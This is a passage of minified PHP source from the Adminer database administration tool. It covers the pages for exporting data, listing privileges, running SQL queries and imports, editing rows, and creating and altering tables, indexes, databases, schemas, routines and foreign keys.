checkbox("auto_increment",1,$K["auto_increment"],lang(48)).(support("trigger")?checkbox("triggers",1,$K["triggers"],lang(130)):""),"<tr><th>".lang(137)."<td>".html_select('data_style',$Hb,$K["data_style"]),'</table> <p><input type="submit" value="',lang(70),'"> <input type="hidden" name="token" value="',$Dh,'"> <table cellspacing="0"> ';$Jf=array();if(DB!=""){$db=($a!=""?"":" checked");echo"<thead><tr>","<th style='text-align: left;'><label class='block'><input type='checkbox' id='check-tables'$db onclick='formCheck(this, /^tables\\[/);'>".lang(115)."</label>","<th style='text-align: right;'><label class='block'>".lang(137)."<input type='checkbox' id='check-data'$db onclick='formCheck(this, /^data\\[/);'></label>","</thead>\n";$oi="";$lh=tables_list();foreach($lh as$C=>$U){$If=preg_replace('~_.*~','',$C);$db=($a==""||$a==(substr($a,-1)=="%"?"$If%":$C));$Mf="<tr><td>".checkbox("tables[]",$C,$db,$C,"checkboxClick(event, this); formUncheck('check-tables');","block");if($U!==null&&!preg_match('~table~i',$U))$oi.="$Mf\n";else echo"$Mf<td align='right'><label class='block'><span id='Rows-".h($C)."'></span>".checkbox("data[]",$C,$db,"","checkboxClick(event, this); formUncheck('check-data');")."</label>\n";$Jf[$If]++;}echo$oi;if($lh)echo"<script type='text/javascript'>ajaxSetHtml('".js_escape(ME)."script=db');</script>\n";}else{echo"<thead><tr><th style='text-align: left;'><label class='block'><input type='checkbox' id='check-databases'".($a==""?" checked":"")." onclick='formCheck(this, /^databases\\[/);'>".lang(35)."</label></thead>\n";$l=$b->databases();if($l){foreach($l as$m){if(!information_schema($m)){$If=preg_replace('~_.*~','',$m);echo"<tr><td>".checkbox("databases[]",$m,$a==""||$a=="$If%",$m,"formUncheck('check-databases');","block")."\n";$Jf[$If]++;}}}else echo"<tr><td><textarea name='databases' rows='10' cols='20'></textarea>";}echo'</table> </form> ';$Mc=true;foreach($Jf as$y=>$X){if($y!=""&&$X>1){echo($Mc?"<p>":" ")."<a href='".h(ME)."dump=".urlencode("$y%")."'>".h($y)."</a>";$Mc=false;}}}elseif(isset($_GET["privileges"])){page_header(lang(68));echo'<p class="links"><a href="'.h(ME).'user=">'.lang(138)."</a>";$I=$g->query("SELECT User, Host FROM mysql.".(DB==""?"user":"db WHERE ".q(DB)." LIKE Db")." ORDER BY Host, User");$ad=$I;if(!$I)$I=$g->query("SELECT SUBSTRING_INDEX(CURRENT_USER, '@', 1) AS User, SUBSTRING_INDEX(CURRENT_USER, '@', -1) AS Host");echo"<form action=''><p>\n";hidden_fields_get();echo"<input type='hidden' name='db' value='".h(DB)."'>\n",($ad?"":"<input type='hidden' name='grant' value=''>\n"),"<table cellspacing='0'>\n","<thead><tr><th>".lang(33)."<th>".lang(32)."<th> </thead>\n";while($K=$I->fetch_assoc())echo'<tr'.odd().'><td>'.h($K["User"])."<td>".h($K["Host"]).'<td><a href="'.h(ME.'user='.urlencode($K["User"]).'&host='.urlencode($K["Host"])).'">'.lang(10)."</a>\n";if(!$ad||DB!="")echo"<tr".odd()."><td><input name='user' autocapitalize='off'><td><input name='host' value='localhost' autocapitalize='off'><td><input type='submit' value='".lang(10)."'>\n";echo"</table>\n","</form>\n";}elseif(isset($_GET["sql"])){if(!$n&&$_POST["export"]){dump_headers("sql");$b->dumpTable("","");$b->dumpData("","table",$_POST["query"]);exit;}restart_session();$kd=&get_session("queries");$jd=&$kd[DB];if(!$n&&$_POST["clear"]){$jd=array();redirect(remove_from_uri("history"));}page_header((isset($_GET["import"])?lang(69):lang(61)),$n);if(!$n&&$_POST){$Xc=false;if(!isset($_GET["import"]))$H=$_POST["query"];elseif($_POST["webfile"]){$Xc=@fopen((file_exists("adminer.sql")?"adminer.sql":"compress.zlib://adminer.sql.gz"),"rb");$H=($Xc?fread($Xc,1e6):false);}else$H=get_file("sql_file",true);if(is_string($H)){if(function_exists('memory_get_usage'))@ini_set("memory_limit",max(ini_bytes("memory_limit"),2*strlen($H)+memory_get_usage()+8e6));if($H!=""&&strlen($H)<1e6){$Tf=$H.(preg_match("~;[ \t\r\n]*\$~",$H)?"":";");if(!$jd||reset(end($jd))!=$Tf){restart_session();$jd[]=array($Tf,time());set_session("queries",$kd);stop_session();}}$Rg="(?:\\s|/\\*[\s\S]*?\\*/|(?:#|-- )[^\n]*\n?|--\r?\n)";$Ob=";";$D=0;$nc=true;$h=connect();if(is_object($h)&&DB!="")$h->select_db(DB);$rb=0;$sc=array();$sf='[\'"'.($x=="sql"?'`#':($x=="sqlite"?'`[':($x=="mssql"?'[':''))).']|/\\*|-- |$'.($x=="pgsql"?'|\\$[^$]*\\$':'');$Fh=microtime(true);parse_str($_COOKIE["adminer_export"],$xa);$ec=$b->dumpFormat();unset($ec["sql"]);while($H!=""){if(!$D&&preg_match("~^$Rg*+DELIMITER\\s+(\\S+)~i",$H,$B)){$Ob=$B[1];$H=substr($H,strlen($B[0]));}else{preg_match('('.preg_quote($Ob)."\\s*|$sf)",$H,$B,PREG_OFFSET_CAPTURE,$D);list($Vc,$Ef)=$B[0];if(!$Vc&&$Xc&&!feof($Xc))$H.=fread($Xc,1e5);else{if(!$Vc&&rtrim($H)=="")break;$D=$Ef+strlen($Vc);if($Vc&&rtrim($Vc)!=$Ob){while(preg_match('('.($Vc=='/*'?'\\*/':($Vc=='['?']':(preg_match('~^-- |^#~',$Vc)?"\n":preg_quote($Vc)."|\\\\."))).'|$)s',$H,$B,PREG_OFFSET_CAPTURE,$D)){$vg=$B[0][0];if(!$vg&&$Xc&&!feof($Xc))$H.=fread($Xc,1e5);else{$D=$B[0][1]+strlen($vg);if($vg[0]!="\\")break;}}}else{$nc=false;$Tf=substr($H,0,$Ef);$rb++;$Mf="<pre id='sql-$rb'><code class='jush-$x'>".$b->sqlCommandQuery($Tf)."</code></pre>\n";if($x=="sqlite"&&preg_match("~^$Rg*+ATTACH\\b~i",$Tf,$B)){echo$Mf,"<p class='error'>".lang(139)."\n";$sc[]=" <a href='#sql-$rb'>$rb</a>";if($_POST["error_stops"])break;}else{if(!$_POST["only_errors"]){echo$Mf;ob_flush();flush();}$Vg=microtime(true);if($g->multi_query($Tf)&&is_object($h)&&preg_match("~^$Rg*+USE\\b~i",$Tf))$h->query($Tf);do{$I=$g->store_result();$vh=" <span class='time'>(".format_time($Vg).")</span>".(strlen($Tf)<1000?" <a href='".h(ME)."sql=".urlencode(trim($Tf))."'>".lang(10)."</a>":"");if($g->error){echo($_POST["only_errors"]?$Mf:""),"<p class='error'>".lang(140).($g->errno?" ($g->errno)":"").": ".error()."\n";$sc[]=" <a href='#sql-$rb'>$rb</a>";if($_POST["error_stops"])break 2;}elseif(is_object($I)){$z=$_POST["limit"];$gf=select($I,$h,array(),$z);if(!$_POST["only_errors"]){echo"<form action='' method='post'>\n";$Je=$I->num_rows;echo"<p>".($Je?($z&&$Je>$z?lang(141,$z):"").lang(142,$Je):""),$vh;$t="export-$rb";$Ac=", <a href='#$t' onclick=\"return !toggle('$t');\">".lang(70)."</a><span id='$t' class='hidden'>: ".html_select("output",$b->dumpOutput(),$xa["output"])." ".html_select("format",$ec,$xa["format"])."<input type='hidden' name='query' value='".h($Tf)."'>"." <input type='submit' name='export' value='".lang(70)."'><input type='hidden' name='token' value='$Dh'></span>\n";if($h&&preg_match("~^($Rg|\\()*+SELECT\\b~i",$Tf)&&($_c=explain($h,$Tf))){$t="explain-$rb";echo", <a href='#$t' onclick=\"return !toggle('$t');\">EXPLAIN</a>$Ac","<div id='$t' class='hidden'>\n";select($_c,$h,$gf);echo"</div>\n";}else echo$Ac;echo"</form>\n";}}else{if(preg_match("~^$Rg*+(CREATE|DROP|ALTER)$Rg++(DATABASE|SCHEMA)\\b~i",$Tf)){restart_session();set_session("dbs",null);stop_session();}if(!$_POST["only_errors"])echo"<p class='message' title='".h($g->info)."'>".lang(143,$g->affected_rows)."$vh\n";}$Vg=microtime(true);}while($g->next_result());}$H=substr($H,$D);$D=0;}}}}if($nc)echo"<p class='message'>".lang(144)."\n";elseif($_POST["only_errors"]){echo"<p class='message'>".lang(145,$rb-count($sc))," <span class='time'>(".format_time($Fh).")</span>\n";}elseif($sc&&$rb>1)echo"<p class='error'>".lang(140).": ".implode("",$sc)."\n";}else echo"<p class='error'>".upload_error($H)."\n";}echo' <form action="" method="post" enctype="multipart/form-data" id="form"> ';$xc="<input type='submit' value='".lang(146)."' title='Ctrl+Enter'>";if(!isset($_GET["import"])){$Tf=$_GET["sql"];if($_POST)$Tf=$_POST["query"];elseif($_GET["history"]=="all")$Tf=$jd;elseif($_GET["history"]!="")$Tf=$jd[$_GET["history"]][0];echo"<p>";textarea("query",$Tf,20);echo($_POST?"":"<script type='text/javascript'>document.getElementsByTagName('textarea')[0].focus();</script>\n"),"<p>$xc\n",lang(147).": <input type='number' name='limit' class='size' value='".h($_POST?$_POST["limit"]:$_GET["limit"])."'>\n";}else{echo"<fieldset><legend>".lang(148)."</legend><div>",(ini_bool("file_uploads")?"SQL (< ".ini_get("upload_max_filesize")."B): <input type='file' name='sql_file[]' multiple>\n$xc":lang(149)),"</div></fieldset>\n","<fieldset><legend>".lang(150)."</legend><div>",lang(151,"<code>adminer.sql".(extension_loaded("zlib")?"[.gz]":"")."</code>"),' <input type="submit" name="webfile" value="'.lang(152).'">',"</div></fieldset>\n","<p>";}echo checkbox("error_stops",1,($_POST?$_POST["error_stops"]:isset($_GET["import"])),lang(153))."\n",checkbox("only_errors",1,($_POST?$_POST["only_errors"]:isset($_GET["import"])),lang(154))."\n","<input type='hidden' name='token' value='$Dh'>\n";if(!isset($_GET["import"])&&$jd){print_fieldset("history",lang(155),$_GET["history"]!="");for($X=end($jd);$X;$X=prev($jd)){$y=key($jd);list($Tf,$vh,$ic)=$X;echo'<a href="'.h(ME."sql=&history=$y").'">'.lang(10)."</a>"." <span class='time' title='".@date('Y-m-d',$vh)."'>".@date("H:i:s",$vh)."</span>"." <code class='jush-$x'>".shorten_utf8(ltrim(str_replace("\n"," ",str_replace("\r","",preg_replace('~^(#|-- ).*~m','',$Tf)))),80,"</code>").($ic?" <span class='time'>($ic)</span>":"")."<br>\n";}echo"<input type='submit' name='clear' value='".lang(156)."'>\n","<a href='".h(ME."sql=&history=all")."'>".lang(157)."</a>\n","</div></fieldset>\n";}echo'</form> ';}elseif(isset($_GET["edit"])){$a=$_GET["edit"];$p=fields($a);$Z=(isset($_GET["select"])?(count($_POST["check"])==1?where_check($_POST["check"][0],$p):""):where($_GET,$p));$Zh=(isset($_GET["select"])?$_POST["edit"]:$Z);foreach($p as$C=>$o){if(!isset($o["privileges"][$Zh?"update":"insert"])||$b->fieldName($o)=="")unset($p[$C]);}if($_POST&&!$n&&!isset($_GET["select"])){$A=$_POST["referer"];if($_POST["insert"])$A=($Zh?null:$_SERVER["REQUEST_URI"]);elseif(!preg_match('~^.+&select=.+$~',$A))$A=ME."select=".urlencode($a);$w=indexes($a);$Uh=unique_array($_GET["where"],$w);$Wf="\nWHERE $Z";if(isset($_POST["delete"]))queries_redirect($A,lang(158),$Xb->delete($a,$Wf,!$Uh));else{$O=array();foreach($p as$C=>$o){$X=process_input($o);if($X!==false&&$X!==null)$O[idf_escape($C)]=$X;}if($Zh){if(!$O)redirect($A);queries_redirect($A,lang(159),$Xb->update($a,$O,$Wf,!$Uh));if(is_ajax()){page_headers();page_messages($n);exit;}}else{$I=$Xb->insert($a,$O);$Wd=($I?last_id():0);queries_redirect($A,lang(160,($Wd?" $Wd":"")),$I);}}}$K=null;if($_POST["save"])$K=(array)$_POST["fields"];elseif($Z){$M=array();foreach($p as$C=>$o){if(isset($o["privileges"]["select"])){$Ga=convert_field($o);if($_POST["clone"]&&$o["auto_increment"])$Ga="''";if($x=="sql"&&preg_match("~enum|set~",$o["type"]))$Ga="1*".idf_escape($C);$M[]=($Ga?"$Ga AS ":"").idf_escape($C);}}$K=array();if(!support("table"))$M=array("*");if($M){$I=$Xb->select($a,$M,array($Z),$M,array(),(isset($_GET["select"])?2:1));$K=$I->fetch_assoc();if(!$K)$K=false;if(isset($_GET["select"])&&(!$K||$I->fetch_assoc()))$K=null;}}if(!support("table")&&!$p){if(!$Z){$I=$Xb->select($a,array("*"),$Z,array("*"));$K=($I?$I->fetch_assoc():false);if(!$K)$K=array($Xb->primary=>"");}if($K){foreach($K as$y=>$X){if(!$Z)$K[$y]=null;$p[$y]=array("field"=>$y,"null"=>($y!=$Xb->primary),"auto_increment"=>($y==$Xb->primary));}}}edit_form($a,$p,$K,$Zh);}elseif(isset($_GET["create"])){$a=$_GET["create"];$uf=array();foreach(array('HASH','LINEAR HASH','KEY','LINEAR KEY','RANGE','LIST')as$y)$uf[$y]=$y;$dg=referencable_primary($a);$Tc=array();foreach($dg as$gh=>$o)$Tc[str_replace("`","``",$gh)."`".str_replace("`","``",$o["field"])]=$gh;$jf=array();$S=array();if($a!=""){$jf=fields($a);$S=table_status($a);if(!$S)$n=lang(9);}$K=$_POST;$K["fields"]=(array)$K["fields"];if($K["auto_increment_col"])$K["fields"][$K["auto_increment_col"]]["auto_increment"]=true;if($_POST&&!process_fields($K["fields"])&&!$n){if($_POST["drop"])queries_redirect(substr(ME,0,-1),lang(161),drop_tables(array($a)));else{$p=array();$Da=array();$di=false;$Rc=array();$if=reset($jf);$Aa=" FIRST";foreach($K["fields"]as$y=>$o){$q=$Tc[$o["type"]];$Ph=($q!==null?$dg[$q]:$o);if($o["field"]!=""){if(!$o["has_default"])$o["default"]=null;if($y==$K["auto_increment_col"])$o["auto_increment"]=true;$Rf=process_field($o,$Ph);$Da[]=array($o["orig"],$Rf,$Aa);if($Rf!=process_field($if,$if)){$p[]=array($o["orig"],$Rf,$Aa);if($o["orig"]!=""||$Aa)$di=true;}if($q!==null)$Rc[idf_escape($o["field"])]=($a!=""&&$x!="sqlite"?"ADD":" ").format_foreign_key(array('table'=>$Tc[$o["type"]],'source'=>array($o["field"]),'target'=>array($Ph["field"]),'on_delete'=>$o["on_delete"],));$Aa=" AFTER ".idf_escape($o["field"]);}elseif($o["orig"]!=""){$di=true;$p[]=array($o["orig"]);}if($o["orig"]!=""){$if=next($jf);if(!$if)$Aa="";}}$wf="";if($uf[$K["partition_by"]]){$xf=array();if($K["partition_by"]=='RANGE'||$K["partition_by"]=='LIST'){foreach(array_filter($K["partition_names"])as$y=>$X){$Y=$K["partition_values"][$y];$xf[]="\n PARTITION ".idf_escape($X)." VALUES ".($K["partition_by"]=='RANGE'?"LESS THAN":"IN").($Y!=""?" ($Y)":" MAXVALUE");}}$wf.="\nPARTITION BY $K[partition_by]($K[partition])".($xf?" (".implode(",",$xf)."\n)":($K["partitions"]?" PARTITIONS ".(+$K["partitions"]):""));}elseif(support("partitioning")&&preg_match("~partitioned~",$S["Create_options"]))$wf.="\nREMOVE PARTITIONING";$se=lang(162);if($a==""){cookie("adminer_engine",$K["Engine"]);$se=lang(163);}$C=trim($K["name"]);queries_redirect(ME.(support("table")?"table=":"select=").urlencode($C),$se,alter_table($a,$C,($x=="sqlite"&&($di||$Rc)?$Da:$p),$Rc,($K["Comment"]!=$S["Comment"]?$K["Comment"]:null),($K["Engine"]&&$K["Engine"]!=$S["Engine"]?$K["Engine"]:""),($K["Collation"]&&$K["Collation"]!=$S["Collation"]?$K["Collation"]:""),($K["Auto_increment"]!=""?number($K["Auto_increment"]):""),$wf));}}page_header(($a!=""?lang(42):lang(71)),$n,array("table"=>$a),h($a));if(!$_POST){$K=array("Engine"=>$_COOKIE["adminer_engine"],"fields"=>array(array("field"=>"","type"=>(isset($Rh["int"])?"int":(isset($Rh["integer"])?"integer":"")))),"partition_names"=>array(""),);if($a!=""){$K=$S;$K["name"]=$a;$K["fields"]=array();if(!$_GET["auto_increment"])$K["Auto_increment"]="";foreach($jf as$o){$o["has_default"]=isset($o["default"]);$K["fields"][]=$o;}if(support("partitioning")){$Yc="FROM information_schema.PARTITIONS WHERE TABLE_SCHEMA = ".q(DB)." AND TABLE_NAME = ".q($a);$I=$g->query("SELECT PARTITION_METHOD, PARTITION_ORDINAL_POSITION, PARTITION_EXPRESSION $Yc ORDER BY PARTITION_ORDINAL_POSITION DESC LIMIT 1");list($K["partition_by"],$K["partitions"],$K["partition"])=$I->fetch_row();$xf=get_key_vals("SELECT PARTITION_NAME, PARTITION_DESCRIPTION $Yc AND PARTITION_NAME != '' ORDER BY PARTITION_ORDINAL_POSITION");$xf[""]="";$K["partition_names"]=array_keys($xf);$K["partition_values"]=array_values($xf);}}}$ob=collations();$pc=engines();foreach($pc as$oc){if(!strcasecmp($oc,$K["Engine"])){$K["Engine"]=$oc;break;}}echo' <form action="" method="post" id="form"> <p> ';if(support("columns")||$a==""){echo lang(164),': <input name="name" maxlength="64" value="',h($K["name"]),'" autocapitalize="off"> ';if($a==""&&!$_POST){?><script type='text/javascript'>focus(document.getElementById('form')['name']);</script><?php }echo($pc?"<select name='Engine' onchange='helpClose();'".on_help("getTarget(event).value",1).">".optionlist(array(""=>"(".lang(165).")")+$pc,$K["Engine"])."</select>":""),' ',($ob&&!preg_match("~sqlite|mssql~",$x)?html_select("Collation",array(""=>"(".lang(92).")")+$ob,$K["Collation"]):""),' <input type="submit" value="',lang(14),'"> ';}echo' ';if(support("columns")){echo'<table cellspacing="0" id="edit-fields" class="nowrap"> ';$tb=($_POST?$_POST["comments"]:$K["Comment"]!="");if(!$_POST&&!$tb){foreach($K["fields"]as$o){if($o["comment"]!=""){$tb=true;break;}}}edit_fields($K["fields"],$ob,"TABLE",$Tc,$tb);echo'</table> <p> ',lang(48),': <input type="number" name="Auto_increment" size="6" value="',h($K["Auto_increment"]),'"> ',checkbox("defaults",1,true,lang(166),"columnShow(this.checked, 5)","jsonly");if(!$_POST["defaults"]){echo'<script type="text/javascript">editingHideDefaults()</script>';}echo(support("comment")?"<label><input type='checkbox' name='comments' value='1' class='jsonly' onclick=\"columnShow(this.checked, 6); toggle('Comment'); if (this.checked) this.form['Comment'].focus();\"".($tb?" checked":"").">".lang(47)."</label>".' <input name="Comment" id="Comment" value="'.h($K["Comment"]).'" maxlength="'.($g->server_info>=5.5?2048:60).'"'.($tb?'':' class="hidden"').'>':''),'<p> <input type="submit" value="',lang(14),'"> ';}echo' ';if($a!=""){echo'<input type="submit" name="drop" value="',lang(119),'"',confirm(),'>';}if(support("partitioning")){$vf=preg_match('~RANGE|LIST~',$K["partition_by"]);print_fieldset("partition",lang(167),$K["partition_by"]);echo'<p> ',"<select name='partition_by' onchange='partitionByChange(this);'".on_help("getTarget(event).value.replace(/./, 'PARTITION BY \$&')",1).">".optionlist(array(""=>"")+$uf,$K["partition_by"])."</select>",'(<input name="partition" value="',h($K["partition"]),'">) ',lang(168),': <input type="number" name="partitions" class="size',($vf||!$K["partition_by"]?" hidden":""),'" value="',h($K["partitions"]),'"> <table cellspacing="0" id="partition-table"',($vf?"":" class='hidden'"),'> <thead><tr><th>',lang(169),'<th>',lang(170),'</thead> ';foreach($K["partition_names"]as$y=>$X){echo'<tr>','<td><input name="partition_names[]" value="'.h($X).'"'.($y==count($K["partition_names"])-1?' onchange="partitionNameChange(this);"':'').' autocapitalize="off">','<td><input name="partition_values[]" value="'.h($K["partition_values"][$y]).'">';}echo'</table> </div></fieldset> ';}echo'<input type="hidden" name="token" value="',$Dh,'"> </form> ';}elseif(isset($_GET["indexes"])){$a=$_GET["indexes"];$td=array("PRIMARY","UNIQUE","INDEX");$S=table_status($a,true);if(preg_match('~MyISAM|M?aria'.($g->server_info>=5.6?'|InnoDB':'').'~i',$S["Engine"]))$td[]="FULLTEXT";if(preg_match('~MyISAM|M?aria'.($g->server_info>=5.7?'|InnoDB':'').'~i',$S["Engine"]))$td[]="SPATIAL";$w=indexes($a);$Kf=array();if($x=="mongo"){$Kf=$w["_id_"];unset($td[0]);unset($w["_id_"]);}$K=$_POST;if($_POST&&!$n&&!$_POST["add"]&&!$_POST["drop_col"]){$c=array();foreach($K["indexes"]as$v){$C=$v["name"];if(in_array($v["type"],$td)){$e=array();$ce=array();$Qb=array();$O=array();ksort($v["columns"]);foreach($v["columns"]as$y=>$d){if($d!=""){$be=$v["lengths"][$y];$Pb=$v["descs"][$y];$O[]=idf_escape($d).($be?"(".(+$be).")":"").($Pb?" DESC":"");$e[]=$d;$ce[]=($be?$be:null);$Qb[]=$Pb;}}if($e){$yc=$w[$C];if($yc){ksort($yc["columns"]);ksort($yc["lengths"]);ksort($yc["descs"]);if($v["type"]==$yc["type"]&&array_values($yc["columns"])===$e&&(!$yc["lengths"]||array_values($yc["lengths"])===$ce)&&array_values($yc["descs"])===$Qb){unset($w[$C]);continue;}}$c[]=array($v["type"],$C,$O);}}}foreach($w as$C=>$yc)$c[]=array($yc["type"],$C,"DROP");if(!$c)redirect(ME."table=".urlencode($a));queries_redirect(ME."table=".urlencode($a),lang(171),alter_indexes($a,$c));}page_header(lang(124),$n,array("table"=>$a),h($a));$p=array_keys(fields($a));if($_POST["add"]){foreach($K["indexes"]as$y=>$v){if($v["columns"][count($v["columns"])]!="")$K["indexes"][$y]["columns"][]="";}$v=end($K["indexes"]);if($v["type"]||array_filter($v["columns"],'strlen'))$K["indexes"][]=array("columns"=>array(1=>""));}if(!$K){foreach($w as$y=>$v){$w[$y]["name"]=$y;$w[$y]["columns"][]="";}$w[]=array("columns"=>array(1=>""));$K["indexes"]=$w;}echo' <form action="" method="post"> <table cellspacing="0" class="nowrap"> <thead><tr> <th id="label-type">',lang(172),'<th><input type="submit" class="wayoff">',lang(173),'<th id="label-name">',lang(174);?> <th><noscript><input type='image' class='icon' name='add[0]' src='" . h(preg_replace("~\\?.*~", "", ME)) . "?file=plus.gif&version=4.3.1' alt='+' title='<?php echo lang(99),'\'></noscript> </thead> ';if($Kf){echo"<tr><td>PRIMARY<td>";foreach($Kf["columns"]as$y=>$d){echo select_input(" disabled",$p,$d),"<label><input disabled type='checkbox'>".lang(56)."</label> ";}echo"<td><td>\n";}$Jd=1;foreach($K["indexes"]as$v){if(!$_POST["drop_col"]||$Jd!=key($_POST["drop_col"])){echo"<tr><td>".html_select("indexes[$Jd][type]",array(-1=>"")+$td,$v["type"],($Jd==count($K["indexes"])?"indexesAddRow(this);":1),"label-type"),"<td>";ksort($v["columns"]);$s=1;foreach($v["columns"]as$y=>$d){echo"<span>".select_input(" name='indexes[$Jd][columns][$s]' onchange=\"".($s==count($v["columns"])?"indexesAddColumn":"indexesChangeColumn")."(this, '".h(js_escape($x=="sql"?"":$_GET["indexes"]."_"))."');\" title='".lang(45)."'",($p?array_combine($p,$p):$p),$d),($x=="sql"||$x=="mssql"?"<input type='number' name='indexes[$Jd][lengths][$s]' class='size' value='".h($v["lengths"][$y])."' title='".lang(97)."'>":""),($x!="sql"?checkbox("indexes[$Jd][descs][$s]",1,$v["descs"][$y],lang(56)):"")," </span>";$s++;}echo"<td><input name='indexes[$Jd][name]' value='".h($v["name"])."' autocapitalize='off' aria-labelledby='label-name'>\n","<td><input type='image' class='icon' name='drop_col[$Jd]' src='".h(preg_replace("~\\?.*~","",ME))."?file=cross.gif&version=4.3.1' alt='x' title='".lang(102)."' onclick=\"return !editingRemoveRow(this, 'indexes\$1[type]');\">\n";}$Jd++;}echo'</table> <p> <input type="submit" value="',lang(14),'"> <input type="hidden" name="token" value="',$Dh,'"> </form> ';}elseif(isset($_GET["database"])){$K=$_POST;if($_POST&&!$n&&!isset($_POST["add_x"])){$C=trim($K["name"]);if($_POST["drop"]){$_GET["db"]="";queries_redirect(remove_from_uri("db|database"),lang(175),drop_databases(array(DB)));}elseif(DB!==$C){if(DB!=""){$_GET["db"]=$C;queries_redirect(preg_replace('~\bdb=[^&]*&~','',ME)."db=".urlencode($C),lang(176),rename_database($C,$K["collation"]));}else{$l=explode("\n",str_replace("\r","",$C));$ah=true;$Vd="";foreach($l as$m){if(count($l)==1||$m!=""){if(!create_database($m,$K["collation"]))$ah=false;$Vd=$m;}}restart_session();set_session("dbs",null);queries_redirect(ME."db=".urlencode($Vd),lang(177),$ah);}}else{if(!$K["collation"])redirect(substr(ME,0,-1));query_redirect("ALTER DATABASE ".idf_escape($C).(preg_match('~^[a-z0-9_]+$~i',$K["collation"])?" COLLATE $K[collation]":""),substr(ME,0,-1),lang(178));}}page_header(DB!=""?lang(64):lang(106),$n,array(),h(DB));$ob=collations();$C=DB;if($_POST)$C=$K["name"];elseif(DB!="")$K["collation"]=db_collation(DB,$ob);elseif($x=="sql"){foreach(get_vals("SHOW GRANTS")as$ad){if(preg_match('~ ON (`(([^\\\\`]|``|\\\\.)*)%`\\.\\*)?~',$ad,$B)&&$B[1]){$C=stripcslashes(idf_unescape("`$B[2]`"));break;}}}echo' <form action="" method="post"> <p> ',($_POST["add_x"]||strpos($C,"\n")?'<textarea id="name" name="name" rows="10" cols="40">'.h($C).'</textarea><br>':'<input name="name" id="name" value="'.h($C).'" maxlength="64" autocapitalize="off">')."\n".($ob?html_select("collation",array(""=>"(".lang(92).")")+$ob,$K["collation"]).doc_link(array('sql'=>"charset-charsets.html",'mssql'=>"ms187963.aspx",)):"");?> <script type='text/javascript'>focus(document.getElementById('name'));</script> <input type="submit" value="<?php echo lang(14),'"> ';if(DB!="")echo"<input type='submit' name='drop' value='".lang(119)."'".confirm().">\n";elseif(!$_POST["add_x"]&&$_GET["db"]=="")echo"<input type='image' class='icon' name='add' src='".h(preg_replace("~\\?.*~","",ME))."?file=plus.gif&version=4.3.1' alt='+' title='".lang(99)."'>\n";echo'<input type="hidden" name="token" value="',$Dh,'"> </form> ';}elseif(isset($_GET["scheme"])){$K=$_POST;if($_POST&&!$n){$_=preg_replace('~ns=[^&]*&~','',ME)."ns=";if($_POST["drop"])query_redirect("DROP SCHEMA ".idf_escape($_GET["ns"]),$_,lang(179));else{$C=trim($K["name"]);$_.=urlencode($C);if($_GET["ns"]=="")query_redirect("CREATE SCHEMA ".idf_escape($C),$_,lang(180));elseif($_GET["ns"]!=$C)query_redirect("ALTER SCHEMA ".idf_escape($_GET["ns"])." RENAME TO ".idf_escape($C),$_,lang(181));else redirect($_);}}page_header($_GET["ns"]!=""?lang(65):lang(66),$n);if(!$K)$K["name"]=$_GET["ns"];echo' <form action="" method="post"> <p><input name="name" id="name" value="',h($K["name"]);?>" autocapitalize="off"> <script type='text/javascript'>focus(document.getElementById('name'));</script> <input type="submit" value="<?php echo lang(14),'"> ';if($_GET["ns"]!="")echo"<input type='submit' name='drop' value='".lang(119)."'".confirm().">\n";echo'<input type="hidden" name="token" value="',$Dh,'"> </form> ';}elseif(isset($_GET["call"])){$da=$_GET["call"];page_header(lang(182).": ".h($da),$n);$rg=routine($da,(isset($_GET["callf"])?"FUNCTION":"PROCEDURE"));$rd=array();$nf=array();foreach($rg["fields"]as$s=>$o){if(substr($o["inout"],-3)=="OUT")$nf[$s]="@".idf_escape($o["field"])." AS ".idf_escape($o["field"]);if(!$o["inout"]||substr($o["inout"],0,2)=="IN")$rd[]=$s;}if(!$n&&$_POST){$Ya=array();foreach($rg["fields"]as$y=>$o){if(in_array($y,$rd)){$X=process_input($o);if($X===false)$X="''";if(isset($nf[$y]))$g->query("SET @".idf_escape($o["field"])." = $X");}$Ya[]=(isset($nf[$y])?"@".idf_escape($o["field"]):$X);}$H=(isset($_GET["callf"])?"SELECT":"CALL")." ".table($da)."(".implode(", ",$Ya).")";echo"<p><code class='jush-$x'>".h($H)."</code> <a href='".h(ME)."sql=".urlencode($H)."'>".lang(10)."</a>\n";if(!$g->multi_query($H))echo"<p class='error'>".error()."\n";else{$h=connect();if(is_object($h))$h->select_db(DB);do{$I=$g->store_result();if(is_object($I))select($I,$h);else echo"<p class='message'>".lang(183,$g->affected_rows)."\n";}while($g->next_result());if($nf)select($g->query("SELECT ".implode(", ",$nf)));}}echo' <form action="" method="post"> ';if($rd){echo"<table cellspacing='0'>\n";foreach($rd as$y){$o=$rg["fields"][$y];$C=$o["field"];echo"<tr><th>".$b->fieldName($o);$Y=$_POST["fields"][$C];if($Y!=""){if($o["type"]=="enum")$Y=+$Y;if($o["type"]=="set")$Y=array_sum($Y);}input($o,$Y,(string)$_POST["function"][$C]);echo"\n";}echo"</table>\n";}echo'<p> <input type="submit" value="',lang(182),'"> <input type="hidden" name="token" value="',$Dh,'"> </form> ';}elseif(isset($_GET["foreign"])){$a=$_GET["foreign"];$C=$_GET["name"];$K=$_POST;if($_POST&&!$n&&!$_POST["add"]&&!$_POST["change"]&&!$_POST["change-js"]){$se=($_POST["drop"]?lang(184):($C!=""?lang(185):lang(186)));$A=ME."table=".urlencode($a);if(!$_POST["drop"]){$K["source"]=array_filter($K["source"],'strlen');ksort($K["source"]);$oh=array();foreach($K["source"]as$y=>$X)$oh[$y]=$K["target"][$y];$K["target"]=$oh;}if($x=="sqlite")queries_redirect($A,$se,recreate_table($a,$a,array(),array(),array(" $C"=>($_POST["drop"]?"":" ".format_foreign_key($K)))));else{$c="ALTER TABLE ".table($a);$Zb="\nDROP ".($x=="sql"?"FOREIGN KEY ":"CONSTRAINT ").idf_escape($C);if($_POST["drop"])query_redirect($c.$Zb,$A,$se);else{query_redirect($c.($C!=""?"$Zb,":"")."\nADD".format_foreign_key($K),$A,$se);$n=lang(187)."<br>$n";}}}page_header(lang(188),$n,array("table"=>$a),h($a));if($_POST){ksort($K["source"]);if($_POST["add"])$K["source"][]="";elseif($_POST["change"]||$_POST["change-js"])$K["target"]=array();}elseif($C!=""){$Tc=foreign_keys($a);$K=$Tc[$C];$K["source"][]="";}else{$K["table"]=$a;$K["source"]=array("");}$Qg=array_keys(fields($a));$oh=($a===$K["table"]?$Qg:array_keys(fields($K["table"])));$cg=array_keys(array_filter(table_status('',true),'fk_support'));echo' <form action="" method="post"> <p> ';if($K["db"]==""&&$K["ns"]==""){echo lang(189),': 